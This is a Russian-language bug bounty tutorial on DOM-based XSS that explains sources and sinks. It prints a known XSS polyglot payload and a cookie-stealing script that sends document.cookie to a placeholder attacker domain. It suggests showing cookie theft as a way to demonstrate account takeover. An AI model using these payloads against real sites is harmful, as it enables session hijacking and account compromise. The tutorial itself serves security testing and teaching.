Здравствуйте, дорогие друзья.

Отраженный и сохраненный XSS-код возникает, когда серверный код небезопасно объединяет вводимые пользователем данные с HTTP-ответом. XSS на основе DOM выполняется полностью на стороне клиента в браузере. Это означает, что мы сможем обнаружить эти уязвимости, просмотрев исходный код javascript. Помните, что javascript выполняется в браузере, поэтому у нас есть доступ ко всему. Все, что вам нужно знать сейчас, — это некоторые базовые методы проверки кода.

При выполнении проверки кода люди обычно ищут вводимые пользователем данные (исходный код), и отслеживайте их с помощью программы до тех пор, пока она не будет выполнена (sink), как показано на рисунке ниже:

Как показано выше, пользователь может управлять параметром GET “vuln”.

Затем этот параметр сохраняется в переменной с именем “vul_var”, где он в конечном итоге передается в качестве аргумента функции “eval”. Функция eval используется для выполнения javascript, и, поскольку аргументы, передаваемые этой функции, контролируются пользователем, злоумышленники могут передать вредоносную полезную нагрузку, которая будет выполнена браузером пользователя.

Приведенный выше фрагмент кода является еще одним примером DOM xss. На этот раз параметр GET “index” передается в функцию “eval”. Параметр “index” является источником, а функция “eval” — приемником. Обратите внимание, что если функция javascript передана функции eval , она будет автоматически выполнена перед запуском функции eval.

На самом деле это верно для любой функции, которая принимает другую функцию в качестве аргумента, как показано на рисунке ниже:

Источники

Как упоминалось ранее, нам нужно найти все места, где пользовательский ввод, также известный как источник, используется приложением. Список источников javascript можно найти в списке ниже:

● document.URL

● document.documentURI

● document.baseUri

● местоположение

● location.href

● location.search

● location.hash

● Location.путь к файлу

● Document.cookie

Это не весь список источников, но это некоторые из основных. Как упоминалось ранее, эти исходные тексты могут быть изменены пользователем, поэтому при неправильном использовании все может пойти наперекосяк.

Теперь, когда вы поняли, как найти пользовательский ввод (источник), вам нужно выяснить, где он используется в приложении. Если исходный код находится в опасной зоне, у вас может быть XSS.

Sinks

Когда исходный код передается в опасный sink в javascript, можно добиться выполнения кода в браузере клиента. Согласно Google, “ Sinks – это точки в потоке, где данные, зависящие от источников, используются потенциально опасным образом, что приводит к потере конфиденциальности, целостности или доступности (триада CIA)”. Список опасных sinks можно найти ниже:

Это далеко не полный список sinks, но это одни из самых популярных из них. Если введенные пользователем данные (исходный код) когда-либо передавались в опасный sink, у вас, вероятно, есть XSS на основе DOM.

Полиглот

При тестировании на XSS вам часто приходится использовать несколько тегов, чтобы получить полезную нагрузку для запуска. Простая вставка полезной нагрузки “<script>alert(0)</script>” и поиск окна с предупреждением не всегда будет работать. Возможно, вам придется выйти из набора кавычек, чтобы ваша полезная нагрузка выглядела как “ “</script>alert(0)</script>», или вам придется выйти из тега div, чтобы ваша полезная нагрузка выглядела как » ><script>alert(0)</script>”. Возможно, уязвимость кроется в атрибуте image src, поэтому ваша полезная нагрузка выглядит как “javascript:alert(0)”, или, возможно, это DOM уязвимости, поэтому ваша полезная нагрузка будет просто “alert(0)”. Как вы можете заметить, в базовой полезной нагрузке “<script>alert(0)</script>” будет пропущено много вещей. Что, если бы у нас была одна полезная нагрузка, которая запускалась бы для всех этих случаев, мы бы ничего не пропустили.

● jaVasCript:/*-/*/*/*’/*»/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/—!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Приведенный выше пример — это известный XSS-полиглот от “0xsobky”, который можно использовать для запуска полезной нагрузки xss во множестве сценариев.

За рамками окна оповещения

Отображение окна с предупреждением — это круто, но оно не показывает всего воздействия уязвимости XSS. Большинство специалистов по безопасности знают, что когда вы получаете POC-код XSS и появляется окно с предупреждением, что происходит что-то опасное. Однако некоторые пользователи видят всплывающее окно с предупреждением и думают: “Какая разница”. Если вы не знакомы с XSS, вы можете отмахнуться от окна с предупреждением как от пустяка, хотя на самом деле XSS может сделать гораздо больше.

Ваша задача как специалиста по безопасности — рассказать о последствиях уязвимости.

Стиллер файлов cookie

В зависимости от приложения файлы cookie используются для хранения данных аутентификации пользователя. Когда пользователь входит в приложение, сервер добавляет файл cookie в браузер пользователя. Всякий раз, когда приложению требуется подтвердить личность пользователя, оно использует ранее установленный файл cookie и проверяет его значение, чтобы узнать, кто этот пользователь и какие у него права доступа. Если злоумышленник украдет этот файл cookie, он сможет выдать себя за жертву, предоставив ей доступ к своей учетной записи.

Javascript можно использовать для получения файлов cookie пользователей, как показано ниже:

● Document.cookie

Теперь, когда у нас есть способ получить файл cookie пользователя, нам нужен способ отправить его на компьютер злоумышленника. К счастью для нас, этот шаг также можно выполнить с помощью javascript.

Изменив “document.location”, мы можем заставить браузер перейти на веб-страницу злоумышленника, как показано ниже :

● Document.location = ”http://attacker-domain.com”

Наконец, нам просто нужно объединить эти две команды, чтобы захватить файлы cookie жертвы и отправить их на компьютер злоумышленника. Это можно сделать с помощью следующего POC, показанного ниже:

● <script type=»text/javascript»> document.location=’http://attacker domain/cookiestealer?cookie=’+document.cookie; </script>

Как вы можете видеть выше, при выполнении полезной нагрузки на наш сервер был отправлен файл cookie пользователя. Как злоумышленник, мы могли использовать этот файл cookie для входа в систему в качестве пользователя-жертвы, что позволило нам полностью скомпрометировать их учетную запись.

Резюме

Межсайтовый скриптинг (XSS) — один из старейших и наиболее распространенных типов уязвимостей, влияющих на веб-приложения. Если бы вы только знали, как использовать XSS, вы все равно смогли бы заработать приличную сумму денег на вознаграждениях за ошибки, поскольку это уязвимость номер один среди обнаруженных. Существует три типа уязвимостей XSS: отраженные, сохраненные и DOM. Отраженный и сохраненный XSS-файлы очень похожи. Разница лишь в том, что один из них будет сохраняться в приложении, а другой — нет. DOM XSS значительно отличается от отраженного и сохраненного XSS, поскольку все происходит в браузере жертвы, и вы должны быть начеку в поисках источников и приемников. Тестирование XSS также может быть сложной задачей, поскольку существует множество возможных сценариев. Для борьбы с этим можно использовать полезную нагрузку polyglot XSS, которая позволит вам использовать множество различных сценариев. Наконец, при попытке чтобы продемонстрировать влияние вашей находки, постарайтесь не использовать обычную полезную нагрузку в виде окна с предупреждением. Вместо этого попробуйте украсть файлы cookie пользователей для захвата учетной записи, это продемонстрирует влияние этой уязвимости гораздо лучше, чем появление окна с предупреждением.

На этом все. Всем хорошего дня!

Цикл статей по Bug Bounty.